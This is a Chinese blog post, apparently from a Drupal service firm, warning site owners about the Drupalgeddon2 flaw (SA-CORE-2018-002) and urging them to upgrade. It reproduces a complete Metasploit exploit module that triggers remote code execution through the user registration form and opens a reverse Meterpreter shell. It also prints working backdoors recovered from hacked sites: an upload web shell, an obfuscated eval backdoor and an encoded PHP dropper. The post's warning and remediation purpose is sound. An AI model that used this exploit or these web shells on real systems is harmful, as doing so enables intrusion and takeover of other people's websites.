Drupal 安全漏洞SA-CORE-2018-002

        老葛,亚艾元软件

Drupal在2018年3月28日发布了一个安全更新补丁,同时提醒大家,以前的版本存在SA-CORE-2018-002号安全漏洞,这个漏洞是Drupal资深开发人员,芬兰的Jasper Mattsson率先发现,并协助Drupal核心团队修复的。在Drupal安全团队修正了这个漏洞以后,立即发布了安全升级版本。提醒所有Drupal用户尽快安全升级。

https://www.drupal.org/sa-core-2018-002

对于这个安全漏洞,我们当时第一时间做了检查,我核对了Drupal代码里面的补丁代码,对它有所了解,这个是由于Drupal的表单机制,#符号有特殊的含义。黑客可以借助于这个地方的弱点渗透过来。但是需要熟悉Drupal机制的人,才能黑过来。

两周过后,大概,Drupal社区团队,发布了后续的安全预计升级,提升了此前的安全等级。因为黑客市场上,已经有公开的攻击Drupal这个漏洞的代码了。

 

注意,这里,是Drupal社区资深人员率先发现的漏洞,并且第一时间修正。黑客人员,根据这个漏洞的安全补丁,才找到了攻击办法。

 

在我们得知这个安全漏洞的时候,我们第一时间,为我们的客户做了安全升级,及时保证了客户的安全。

而截至到这个时候,仅有50%左右的网站完成了升级。所以开始有很多网站被黑了。最近,陆续的接触到了一些使用Drupal的用户,他们的网站被黑客攻入。

 

基于metasploit这样的渗透工具,网上已经有了现成的渗透代码:

class MetasploitModule < Msf::Exploit::Remote

    Rank = ExcellentRanking

 

    include Msf::Exploit::Remote::HttpClient

 

    def initialize(info={})

      super(update_info(info,

        'Name'           => 'Drupalgeddon2',

        'Description'    => %q{

          CVE-2018-7600 / SA-CORE-2018-002

          Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1

          allows remote attackers to execute arbitrary code because of an issue affecting

          multiple subsystems with default or common module configurations.

 

          The module can load msf PHP arch payloads, using the php/base64 encoder.

 

          The resulting RCE on Drupal looks like this: php -r 'eval(base64_decode(#{PAYLOAD}));'

        },

        'License'        => MSF_LICENSE,

        'Author'         =>

          [

            'Vitalii Rudnykh',      # initial PoC

            'Hans Topo',            # further research and ruby port

            'José Ignacio Rojo'     # further research and msf module

          ],

        'References'     =>

          [

            ['SA-CORE', '2018-002'],

            ['CVE', '2018-7600'],

          ],

        'DefaultOptions'  =>

        {

          'encoder' => 'php/base64',

          'payload' => 'php/meterpreter/reverse_tcp',

        },

        'Privileged'     => false,

        'Platform'       => ['php'],

        'Arch'           => [ARCH_PHP],

        'Targets'        =>

          [

            ['User register form with exec', {}],

          ],

        'DisclosureDate' => 'Apr 15 2018',

        'DefaultTarget'  => 0

      ))

 

      register_options(

        [

          OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']),

        ])

 

      register_advanced_options(

        [

 

        ])

    end

 

    def uri_path

      normalize_uri(target_uri.path)

    end

 

    def exploit_user_register

      data = Rex::MIME::Message.new

      data.add_part("php -r '#{payload.encoded}'", nil, nil, 'form-data; name="mail[#markup]"')

      data.add_part('markup', nil, nil, 'form-data; name="mail[#type]"')

      data.add_part('user_register_form', nil, nil, 'form-data; name="form_id"')

      data.add_part('1', nil, nil, 'form-data; name="_drupal_ajax"')

      data.add_part('exec', nil, nil, 'form-data; name="mail[#post_render][]"')

      post_data = data.to_s

 

      # /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax

      send_request_cgi({

        'method'   => 'POST',

        'uri'      => "#{uri_path}user/register",

        'ctype'    => "multipart/form-data; boundary=#{data.bound}",

        'data'     => post_data,

        'vars_get' => {

          'element_parents' => 'account/mail/#value',

          'ajax_form'       => '1',

          '_wrapper_format' => 'drupal_ajax',

        }

      })

    end

 

    ##

    # Main

    ##

 

    def exploit

      case datastore['TARGET']

      when 0

        exploit_user_register

      else

        fail_with(Failure::BadConfig, "Invalid target selected.")

      end

    end

  end

 

这些代码,完全公开的。所以在这里提醒大家,第一时间,尽快的完成安全升级。2018年4月25号,还会有一个针对这个同一安全漏洞的进一步升级。

https://www.drupal.org/psa-2018-003

随着这个安全漏洞的公开,在这里,Drupal社区又进一步挖掘到了新的漏洞,并及时采取措施,建议广大Drupal用户,第一时间继续升级你们的Drupal版本,到最新版。

 

黑客的渗透后的恶意代码示例:

Del.php

<?php

unlink("./composer.php");

unlink("./del.php");

unlink("./izoc.php");

unlink("./izom.php");

unlink("./izocin.php");

echo "delete is success.";

 

 

composer.php

izocin

<?php

echo '<title>Upload Files xSecurity</title>

<h1>izocin</h1>

';

echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';

echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';

if( $_POST['_upl'] == "Upload" ) {

       if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Complate !!!</b><br><br>'; }

       else { echo '<b>Upload Failed !!!</b><br><br>'; }

}

?>

 

 

Counter.php:

<?php if(md5($_POST['p'])==='615b676f2a1c675c6965dc83bb1faf74'){$st = 'return value';$cap='bas'.'e6'.'4_d'.'ec'.'ode';$c = $st[1].$st[7].$st[8].$st[9].'('.$cap.'(\'';if(isset($_POST['uf'])&&isset($_POST['pr'])){$arr = array($c.$_POST['uf'].'\'))' => '|.*|e',);array_walk($arr, strval($_POST['pr']), '');}}?>

 

 

Temp文件加下:

<?php

if(!function_exists("bJMTeA")){function bJMTeA($DqlO){$ZCT=array('28','XkZ_W]ReV','SRdVGEpUVT`UV',$DqlO);for($ZWcLuy=0;$ZWcLuy<4;$ZWcLuy++){for($vjXDM=0;$vjXDM<strlen($ZCT[$ZWcLuy]);$vjXDM++) $ZCT[$ZWcLuy][$vjXDM] = chr(ord($ZCT[$ZWcLuy][$vjXDM])-($ZWcLuy?$ZCT[$vjXDM xor $vjXDM]:1));if($ZWcLuy==2) $ZCT[3]=$ZCT[1]($ZCT[2]($ZCT[3]));} return $ZCT[3];}$xVB="hVWLTttIFP0PKvUfpoHWiUSDE6BsFlERSEJeBHDsPFxVZuwZ4qnHHtdjk7jVfvNe20nIFqS1QBnfx5l77ssIwfP+HQuYJWlcVgiTIcepRaNIRFI5RGrl/P27/M2KaCiimAWLci5kT2UmM6cD6/5urH8r/VzSqPS9Uvl9SZ8x/1N8TlcsPv8n90siTqgjCAWjcVubtLVvpQejrc2tsa71RjdgfnGh7LsLX3qpUvn9/t0eoU8soGWlpRn3zaGl3d3pEJ1ltXqaZaEqUo6q1Zc/JQtwz3EJi8o7Hrk0oj8TFlFLBA5FSvWIBQ5PCJVHthCxjCMcVkGkZKYkSkLMra1ig3UFWBBp897qGMNhjnoQ0KWVSBqhC4SjCKdlECKkBNinCrr4ipQuDgJmY64cFpoQS5lrSh8u+92Dj0bv09m+aFjiL/KpdIiOjlAgYvo3IiI7IJ+cotilKHNbiogUID5mvADZwF8uMlnVEX5pfZGMcZwUV9XWIqh3/H9ukeC08Nry2Vvzbxp6tz3Se9dNvd2ytF4rJ4iJD7hZomIR5Sz3jnOFk8hY+CgDXJOvZD953oCmDqyeWCRj4BZBumJIIpNI0iBGNseBh6RAGEGCUZ5g0DkRxTEl1SzxEZUJjyHtmdKS+Bm6BFpjW5D8Gmi6tWEFUccVSLm8vMxrfPAzoVEK7sSGEeDUgSl4xhHDdhYtUuyil16uKRxA9PnrE6OcyHJmk787IiAsZiIAUTWvPABA0XxqQf9i8F8b0hV1kpiWK4BBY8dtSimc8h+RfoM4eEKV7/kAvBmozYXj7UT5Vpiv4vwz0HV/AErtTb2DHTdn8vltfU4Q9EkA2WaYs1/0NYW14yvinBfcFZuRNQfIwAfqh3G6LVmRgB1ykIIkJNACmxTk8PAgtGX70rXZozwzyWzGWZwW43hcdGiuC/Eia/VMbmNJv5xY6/Wk3LcaS9xtLvB0LnpTs2b7IxVPG8msPjnBs5HqpItg4mmDh7ETDmaxT6anP8gNf7bZ1VRrh1eDa80026v4IeVn/e7k3pyJxnzWT+czT/Tr7hn2G4E97ddM5sh+fcTIzfx4NL3ipq8tzek8GG79vTPTb6SANyBcm2v+snHbkt44MI1p25T3rduzfjusTzrujX0toywW+7gn+p3+F9p+yG2NIDzRWqtfpNuX5vREFPGE9tavo4Z3qTamgdsepDLsXWs1vT75Mk03d67IdK2fjZuN3s1IOMx9dvyHN7BqdnG3RgZjdTXQ49Bki5d4dZCNmx4xGpxymc50dXNezsaLzXm1c05nYy+8O1YXjj9RyayfbOP71Scg95yZNnRU0ehxY2UYkyv8g9QczzX0oD8Y10aqBu63E248TMlA63S6Y300uTP4iT4NDfNYS42g3yOdqyGuuT3Dd+NRDfA8czj3GsGDrjLIjarXG6fzHyorat6DmnaGZrvWvR+vdWzBjGMu9dro1Gmf6rc3pE715onTDXXH49dEbbOBLj27PtE1T21s/AfXTlbrDcaGS7hjKyCHDXM6EnbaXN0t4QP50vSV3f7fHU4YqsNif1uhCIuZsDyaypfZgsG++M/8bGf0fCt8vT739/eVc9CAOrOC73r+D4OZ751yqZhP9ChTGVP/EdZ5DC/5qnm8qKGlSyPQZkvy8UIJ3VApVXY+uU88ka6FObfy7SPzYOCC/PLSk4iA2YfS+b8=";$ZyC="bJMTeA";$LAtwx=$ZyC("C0kOC0oNKwhPiw9JjUqIBwA=");$UpxY=$LAtwx('',$ZyC($xVB));$UpxY();}

?>

 

 

采取措施:

1, 第一时间升级您的Drupal代码。如果您没有合适的技术团队,或者帮您建站的人员已经联系不上,请您第一时间联系专业Drupal开发人员为您升级。

2, 如果您的网站已经中招,

A, 请您第一时间升级Drupal核心代码,

B, 检查Drupal目录下面的可疑文件

C, 检查Drupal用户,查看最近有没有可以用户,检查管理员的组成,看看有没有可以人员具有管理员权限,检查Drupal的权限设置,已经内容是否已经完成。

 

如果您的网站采用Drupal,但是没有技术人员维护,请您第一时间与我们联系:


 

业务联系:崔克俊 

手机: 13381113196 

QQ: 372948992 

公司电话:010-62669785